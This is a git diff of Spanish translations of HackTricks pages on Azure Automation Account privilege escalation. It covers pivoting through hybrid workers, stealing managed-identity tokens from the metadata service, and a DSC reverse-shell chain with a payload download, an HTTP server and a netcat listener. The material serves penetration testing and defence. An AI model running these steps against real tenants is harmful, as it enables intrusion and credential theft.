mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 13:43:24 -08:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
@@ -10,9 +10,18 @@ Para más información, consulta:
|
||||
../az-services/az-automation-accounts.md
|
||||
{{#endref}}
|
||||
|
||||
### Hybrid Workers
|
||||
|
||||
Recuerda que si de alguna manera un atacante puede ejecutar un runbook arbitrario (código arbitrario) en un hybrid worker, él **pivotará a la ubicación de la VM**. Esto podría ser una máquina local, un VPC de otra nube o incluso una VM de Azure.
|
||||
|
||||
Además, si el hybrid worker se está ejecutando en Azure con otras Identidades Administradas adjuntas, el runbook podrá acceder a la **identidad administrada del runbook y todas las identidades administradas de la VM desde el servicio de metadatos**.
|
||||
|
||||
> [!TIP]
|
||||
> Recuerda que el **servicio de metadatos** tiene una URL diferente (**`http://169.254.169.254`**) que el servicio desde donde se obtiene el token de identidades administradas de la cuenta de automatización (**`IDENTITY_ENDPOINT`**).
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
|
||||
|
||||
En resumen, estos permisos permiten **crear, modificar y ejecutar Runbooks** en la Cuenta de Automatización, que podrías usar para **ejecutar código** en el contexto de la Cuenta de Automatización y escalar privilegios a las **Identidades Administradas** asignadas y filtrar **credenciales** y **variables** encriptadas almacenadas en la Cuenta de Automatización.
|
||||
En resumen, estos permisos permiten **crear, modificar y ejecutar Runbooks** en la Cuenta de Automatización, que podrías usar para **ejecutar código** en el contexto de la Cuenta de Automatización y escalar privilegios a las **Identidades Administradas** asignadas y filtrar **credenciales** y **variables encriptadas** almacenadas en la Cuenta de Automatización.
|
||||
|
||||
El permiso **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** permite modificar el código de un Runbook en la Cuenta de Automatización usando:
|
||||
```bash
|
||||
@@ -38,7 +47,11 @@ az automation runbook publish \
|
||||
```
|
||||
El permiso **`Microsoft.Automation/automationAccounts/jobs/write`** permite al usuario ejecutar un Runbook en la Cuenta de Automatización utilizando:
|
||||
```bash
|
||||
az automation runbook start --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name>
|
||||
az automation runbook start \
|
||||
--automation-account-name <account-name> \
|
||||
--resource-group <res-group> \
|
||||
--name <runbook-name> \
|
||||
[--run-on <name-hybrid-group>]
|
||||
```
|
||||
El permiso **`Microsoft.Automation/automationAccounts/jobs/output/read`** permite al usuario leer la salida de un trabajo en la Cuenta de Automatización utilizando:
|
||||
```bash
|
||||
@@ -150,6 +163,7 @@ az automation runbook replace-content --no-wait \
|
||||
--content 'echo "Hello World"'
|
||||
|
||||
# Run the unpublished code
|
||||
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
|
||||
az rest \
|
||||
--method PUT \
|
||||
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
|
||||
@@ -165,7 +179,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
|
||||
|
||||
Este permiso permite al usuario **configurar un control de fuente** para la Cuenta de Automatización utilizando comandos como el siguiente (esto usa Github como ejemplo):
|
||||
Este permiso permite al usuario **configurar un control de fuente** para la Cuenta de Automatización utilizando comandos como el siguiente (este usa Github como ejemplo):
|
||||
```bash
|
||||
az automation source-control create \
|
||||
--resource-group <res-group> \
|
||||
@@ -182,30 +196,46 @@ az automation source-control create \
|
||||
```
|
||||
Esto importará automáticamente los runbooks del repositorio de Github a la Automation Account y con algunos otros permisos para comenzar a ejecutarlos sería **posible escalar privilegios**.
|
||||
|
||||
Además, recuerda que para que el control de origen funcione en Automation Accounts debe tener una identidad administrada con el rol **`Contributor`** y si es una identidad administrada por el usuario, esto también se puede configurar estableciendo en la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** el **client id** de la identidad administrada por el usuario a utilizar.
|
||||
Además, recuerda que para que el control de versiones funcione en las Automation Accounts, debe tener una identidad administrada con el rol **`Contributor`** y si es una identidad administrada por el usuario, el id del cliente de la MI debe especificarse en la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
|
||||
> [!TIP]
|
||||
> Ten en cuenta que no es posible cambiar la URL del repo de un control de origen una vez que se ha creado.
|
||||
> Ten en cuenta que no es posible cambiar la URL del repositorio de un control de versiones una vez que se ha creado.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/variables/write`
|
||||
|
||||
Con el permiso **`Microsoft.Automation/automationAccounts/variables/write`** es posible escribir variables en la Automation Account utilizando el siguiente comando.
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"name": "<variable-name>",
|
||||
"properties": {
|
||||
"description": "",
|
||||
"value": "\"<variable-value>\"",
|
||||
"isEncrypted": false
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Entornos de Ejecución Personalizados
|
||||
|
||||
Si una cuenta de automatización está utilizando un entorno de ejecución personalizado, podría ser posible sobrescribir un paquete personalizado del entorno con algún código malicioso (como **una puerta trasera**). De esta manera, cada vez que se ejecute un runbook que utilice ese entorno personalizado y cargue el paquete personalizado, se ejecutará el código malicioso.
|
||||
|
||||
### Comprometiendo la Configuración de Estado
|
||||
### Compromiso de la Configuración de Estado
|
||||
|
||||
**Consulta la publicación completa en:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
- Paso 1 — Crear Archivos
|
||||
|
||||
**Archivos Requeridos:** Se necesitan dos scripts de PowerShell:
|
||||
1. `reverse_shell_config.ps1`: Un archivo de Desired State Configuration (DSC) que obtiene y ejecuta la carga útil. Se puede obtener de [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
1. `reverse_shell_config.ps1`: Un archivo de Configuración de Estado Deseado (DSC) que obtiene y ejecuta la carga útil. Se puede obtener de [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: Un script para publicar la configuración en la VM, disponible en [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
|
||||
**Personalización:** Las variables y parámetros en estos archivos deben adaptarse al entorno específico del usuario, incluidos los nombres de recursos, rutas de archivos e identificadores de servidor/carga útil.
|
||||
|
||||
- Paso 2 — Comprimir el Archivo de Configuración
|
||||
|
||||
El `reverse_shell_config.ps1` se comprime en un archivo `.zip`, preparándolo para la transferencia a la Azure Storage Account.
|
||||
El `reverse_shell_config.ps1` se comprime en un archivo `.zip`, preparándolo para su transferencia a la Cuenta de Almacenamiento de Azure.
|
||||
```powershell
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
@@ -223,13 +253,13 @@ wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
El script se edita para especificar la VM de Windows objetivo y el puerto para el shell inverso.
|
||||
|
||||
- Paso 5 — Publicar Archivo de Configuración
|
||||
- Paso 5 — Publicar archivo de configuración
|
||||
|
||||
El archivo de configuración se ejecuta, lo que resulta en que el script de shell inverso se despliega en la ubicación especificada en la VM de Windows.
|
||||
|
||||
- Paso 6 — Alojar Carga Útil y Configurar Escucha
|
||||
- Paso 6 — Alojar carga útil y configurar el oyente
|
||||
|
||||
Se inicia un Python SimpleHTTPServer para alojar la carga útil, junto con un listener de Netcat para capturar conexiones entrantes.
|
||||
Se inicia un Python SimpleHTTPServer para alojar la carga útil, junto con un oyente de Netcat para capturar conexiones entrantes.
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Información Básica
|
||||
|
||||
Las Cuentas de Automatización de Azure son servicios basados en la nube en Microsoft Azure que ayudan a **automatizar tareas** como la gestión de recursos, la configuración y las actualizaciones en entornos de Azure y locales. Proporcionan **Runbooks** (scripts para automatización que se ejecutan), **programaciones** y **grupos de trabajadores híbridos** para ejecutar **trabajos** de automatización, habilitando infraestructura como código (IaC) y automatización de procesos para mejorar la eficiencia y consistencia en la gestión de recursos en la nube.
|
||||
Las Cuentas de Automatización de Azure son servicios basados en la nube en Microsoft Azure que ayudan a **automatizar tareas** como la gestión de recursos, la configuración y las actualizaciones en entornos de Azure y locales. Proporcionan **Runbooks** (scripts para automatización que se ejecutan), **programaciones** y **grupos de trabajadores híbridos** para ejecutar **trabajos de automatización**, habilitando infraestructura como código (IaC) y automatización de procesos para mejorar la eficiencia y consistencia en la gestión de recursos en la nube.
|
||||
|
||||
### Configuraciones
|
||||
|
||||
@@ -46,11 +46,11 @@ Cuando la sincronización está habilitada, en el **repositorio de Github se cre
|
||||
|
||||
Ten en cuenta que estos webhooks **no serán visibles** al listar webhooks en los runbooks asociados al repositorio de Github. También ten en cuenta que **no es posible cambiar la URL del repositorio** de un control de versiones una vez creado.
|
||||
|
||||
Para que el control de versiones configurado funcione, la **Cuenta de Automatización de Azure** necesita tener una identidad administrada (sistema o usuario) con el rol de **`Contribuyente`**. Además, para asignar una identidad administrada de usuario a la Cuenta de Automatización, es posible hacerlo simplemente configurando la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** al **ID de Cliente de la Identidad Administrada de Usuario**.
|
||||
Para que el control de versiones configurado funcione, la **Cuenta de Automatización de Azure** necesita tener una identidad administrada (sistema o usuario) con el rol de **`Contribuyente`**. Además, para asignar una identidad administrada de usuario a la Cuenta de Automatización, es necesario indicar el ID de cliente de la MI de usuario en la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
|
||||
### Entornos de Ejecución
|
||||
|
||||
Al crear un Runbook es posible seleccionar el entorno de ejecución. Por defecto, los siguientes entornos de ejecución están disponibles:
|
||||
Al crear un Runbook, es posible seleccionar el entorno de ejecución. Por defecto, los siguientes entornos de ejecución están disponibles:
|
||||
|
||||
- **Powershell 5.1**
|
||||
- **Powershell 7.1**
|
||||
@@ -61,21 +61,28 @@ Al crear un Runbook es posible seleccionar el entorno de ejecución. Por defecto
|
||||
|
||||
Sin embargo, también es posible **crear tus propios entornos**, utilizando uno de estos como base. En el caso de Python, es posible subir paquetes `.whl` al entorno que se utilizará. En el caso de PowerShell, es posible subir paquetes `.zip` con los módulos que se tendrán en la ejecución.
|
||||
|
||||
### Trabajador Híbrido
|
||||
### Grupos de Trabajadores Híbridos
|
||||
|
||||
Un Runbook puede ejecutarse en un **contenedor dentro de Azure** o en un **Trabajador Híbrido** (máquina no Azure).\
|
||||
El **Agente de Análisis de Registros** se despliega en la VM para registrarla como un trabajador híbrido.\
|
||||
Los trabajos de trabajadores híbridos se ejecutan como **SYSTEM** en Windows y como cuenta **nxautomation** en Linux.\
|
||||
Cada Trabajador Híbrido está registrado en un **Grupo de Trabajadores Híbridos**.
|
||||
En Azure Automation, el entorno de ejecución predeterminado para los runbooks es el **Azure Sandbox**, una plataforma basada en la nube gestionada por Azure, adecuada para tareas que involucran recursos de Azure. Sin embargo, este sandbox tiene limitaciones, como el acceso restringido a recursos locales y restricciones en el tiempo de ejecución y uso de recursos. Para superar estas limitaciones, se emplean Grupos de Trabajadores Híbridos. Un Grupo de Trabajadores Híbridos consiste en **uno o más Trabajadores de Runbook Híbridos instalados en tus propias máquinas**, ya sea en local, en otros entornos de nube o en VMs de Azure. Esta configuración permite que los runbooks se ejecuten directamente en estas máquinas, proporcionando acceso directo a recursos locales, la capacidad de ejecutar tareas más largas y que consumen más recursos, y la flexibilidad para interactuar con entornos más allá del alcance inmediato de Azure.
|
||||
|
||||
Por lo tanto, si puedes elegir ejecutar un **Runbook** en un **Trabajador Híbrido de Windows**, ejecutarás **comandos arbitrarios** dentro de una máquina externa como **System** (buena técnica de pivot).
|
||||
Cuando se crea un grupo de trabajadores híbridos, es necesario indicar las **credenciales** a utilizar. Hay 2 opciones:
|
||||
|
||||
- **Credenciales predeterminadas**: No necesitas proporcionar las credenciales y los runbooks se ejecutarán dentro de las VMs como **Sistema**.
|
||||
- **Credenciales específicas**: Necesitas proporcionar el nombre del objeto de credenciales dentro de la cuenta de automatización, que se utilizará para ejecutar los **runbooks dentro de las VMs**. Por lo tanto, en este caso, podría ser posible **robar credenciales válidas** para las VMs.
|
||||
|
||||
Por lo tanto, si puedes elegir ejecutar un **Runbook** en un **Trabajador Híbrido de Windows**, ejecutarás **comandos arbitrarios** dentro de una máquina externa como **Sistema** (una buena técnica de pivot).
|
||||
|
||||
Además, si el trabajador híbrido se está ejecutando en Azure con otras Identidades Administradas adjuntas, el runbook podrá acceder a la **identidad administrada del runbook y todas las identidades administradas de la VM desde el servicio de metadatos**.
|
||||
|
||||
> [!TIP]
|
||||
> Recuerda que el **servicio de metadatos** tiene una URL diferente (**`http://169.254.169.254`**) que el servicio desde donde se obtiene el token de identidades administradas de la cuenta de automatización (**`IDENTITY_ENDPOINT`**).
|
||||
|
||||
### Configuración de Estado (SC)
|
||||
|
||||
>[!WARNING]
|
||||
> Como se indica en [la documentación](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), la Configuración de Estado de Automatización de Azure será retirada el 30 de septiembre de 2027 y reemplazada por [Configuración de Máquina de Azure](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
|
||||
> Como se indica en [la documentación](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), la Configuración de Estado de Automatización de Azure será retirada el 30 de septiembre de 2027 y reemplazada por [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
|
||||
|
||||
Las Cuentas de Automatización también soportan **Configuración de Estado (SC)**, que es una característica que ayuda a **configurar** y **mantener** el **estado** de tus VMs. Es posible **crear** y **aplicar** configuraciones DSC a máquinas **Windows** y **Linux**.
|
||||
Las Cuentas de Automatización también admiten **Configuración de Estado (SC)**, que es una característica que ayuda a **configurar** y **mantener** el **estado** de tus VMs. Es posible **crear** y **aplicar** configuraciones DSC a máquinas **Windows** y **Linux**.
|
||||
|
||||
Desde la perspectiva de un atacante, esto era interesante porque permitía **ejecutar código PS arbitrario en todas las VMs configuradas**, permitiendo escalar privilegios a las identidades administradas de estas VMs, potencialmente pivotando a nuevas redes... Además, las configuraciones podrían contener **información sensible**.
|
||||
|
||||
@@ -180,6 +187,15 @@ az automation dsc configuration show --automation-account-name <AUTOMATION-ACCOU
|
||||
|
||||
# Get State Configuration content
|
||||
az automation dsc configuration show-content --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
|
||||
|
||||
# Get hybrid worker groups for an automation account
|
||||
az automation hrwg list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get hybrid worker group details
|
||||
az automation hrwg show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <HYBRID-WORKER-GROUP>
|
||||
|
||||
# Get more details about a hybrid worker group (like VMs inside it)
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/hybridRunbookWorkerGroups/<hybrid-worker-group-name>/hybridRunbookWorkers?&api-version=2021-06-22"
|
||||
```
|
||||
|
||||
```powershell
|
||||
|
||||
Reference in New Issue
Block a user